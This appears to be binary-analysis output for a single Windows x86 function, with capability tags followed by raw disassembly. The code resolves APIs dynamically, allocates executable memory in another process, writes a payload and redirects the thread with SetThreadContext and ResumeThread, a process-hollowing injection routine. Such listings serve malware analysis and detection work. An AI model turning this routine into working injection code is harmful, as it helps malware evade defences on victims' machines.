Function at 0x40f7b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x370
mov eax, dword [0x412050]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push 0x402c1c
push 0x402c2c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x35c], eax
push 0x402c3c
push 0x402c50
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x35c]
mov dword [ebp - 0xc], eax
push 0x402c60
push 0x402c70
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x35c]
mov dword [ebp - 0x18], eax
push 0x402c80
push 0x402c94
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x35c]
mov dword [ebp - 4], eax
push 0x402ca4
push 0x402cb8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x35c]
mov dword [ebp - 0x14], eax
push 0x402cc8
push 0x402cdc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x35c]
mov dword [ebp - 0x304], eax
push 0x402cec
push 0x402cfc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x35c]
mov dword [ebp - 0x10], eax
push 0x402d0c
push 0x402d24
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x35c]
mov dword [ebp - 8], eax
mov dword [ebp - 0x358], 0
push 0x40
push 0
lea eax, [ebp - 0x354]
push eax
call fcn.00403930
add esp, 0xc
mov ecx, 1
test ecx, ecx
je 0x40fae2
mov edx, dword [ebp + 0x20]
push edx
lea eax, [ebp - 0x30c]
push eax
lea ecx, [ebp - 0x2f0]
push ecx
lea edx, [ebp - 0x300]
push edx
call fcn.0040f320
add esp, 0x10
test eax, eax
je 0x40fae2
mov dword [ebp - 0x360], 0
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 0x1c]
cmp ecx, dword [ebp - 0x30c]
jne 0x40f93e
mov edx, dword [ebp + 0x1c]
cmp edx, dword [ebp - 0x308]
ja 0x40f93e
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0x360], eax
lea ecx, [ebp - 0x364]
push ecx
push 0x40
mov edx, dword [ebp - 0x308]
push edx
mov eax, dword [ebp - 0x30c]
push eax
mov ecx, dword [ebp - 0x300]
push ecx
call dword [ebp - 4]
jmp 0x40f975
mov edx, dword [ebp - 0x30c]
push edx
mov eax, dword [ebp - 0x300]
push eax
call dword [ebp - 8]
test eax, eax
jne 0x40f975
push 0x40
push 0x3000
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx + 0x1c]
push eax
mov ecx, dword [ebp - 0x300]
push ecx
call dword [ebp - 0x18]
mov dword [ebp - 0x360], eax
mov edx, 1
test edx, edx
je 0x40f9e9
cmp dword [ebp - 0x360], 0
jne 0x40f9e9
mov eax, dword [ebp + 0x10]
push eax
call fcn.0040f2f0
add esp, 4
test eax, eax
je 0x40f9e9
push 0x40
push 0x3000
mov ecx, dword [ebp + 0x1c]
push ecx
push 0
mov edx, dword [ebp - 0x300]
push edx
call dword [ebp - 0x18]
mov dword [ebp - 0x360], eax
mov eax, 1
test eax, eax
je 0x40f9e9
cmp dword [ebp - 0x360], 0
je 0x40f9e9
mov ecx, dword [ebp - 0x360]
push ecx
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0040f470
add esp, 0x18
cmp dword [ebp - 0x360], 0
je 0x40fad6
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x36c], ecx
lea edx, [ebp - 0x370]
push edx
push 4
lea eax, [ebp - 0x360]
push eax
mov ecx, dword [ebp - 0x36c]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x300]
push edx
call dword [ebp - 0xc]
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
mov edx, dword [ebp + 0x18]
lea eax, [ecx + edx + 0x18]
mov dword [ebp - 0x368], eax
mov ecx, dword [ebp - 0x368]
mov edx, dword [ebp - 0x360]
mov dword [ecx + 0x1c], edx
push 0
mov eax, dword [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp - 0x360]
push edx
mov eax, dword [ebp - 0x300]
push eax
call dword [ebp - 0xc]
test eax, eax
je 0x40fac8
mov dword [ebp - 0x2f0], 0x10007
mov ecx, dword [ebp - 0x360]
cmp ecx, dword [ebp - 0x30c]
jne 0x40fa93
mov edx, dword [ebp + 0x10]
mov eax, dword [edx + 0x1c]
mov ecx, dword [ebp + 0x10]
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x240], eax
jmp 0x40faa5
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp - 0x360]
add eax, dword [edx + 0x10]
mov dword [ebp - 0x240], eax
lea ecx, [ebp - 0x2f0]
push ecx
mov edx, dword [ebp - 0x2fc]
push edx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x2fc]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x40fad4
push 0
mov ecx, dword [ebp - 0x300]
push ecx
call dword [ebp - 0x14]
jmp 0x40fae2
push 0
mov edx, dword [ebp - 0x300]
push edx
call dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.004030a9
mov esp, ebp
pop ebp
ret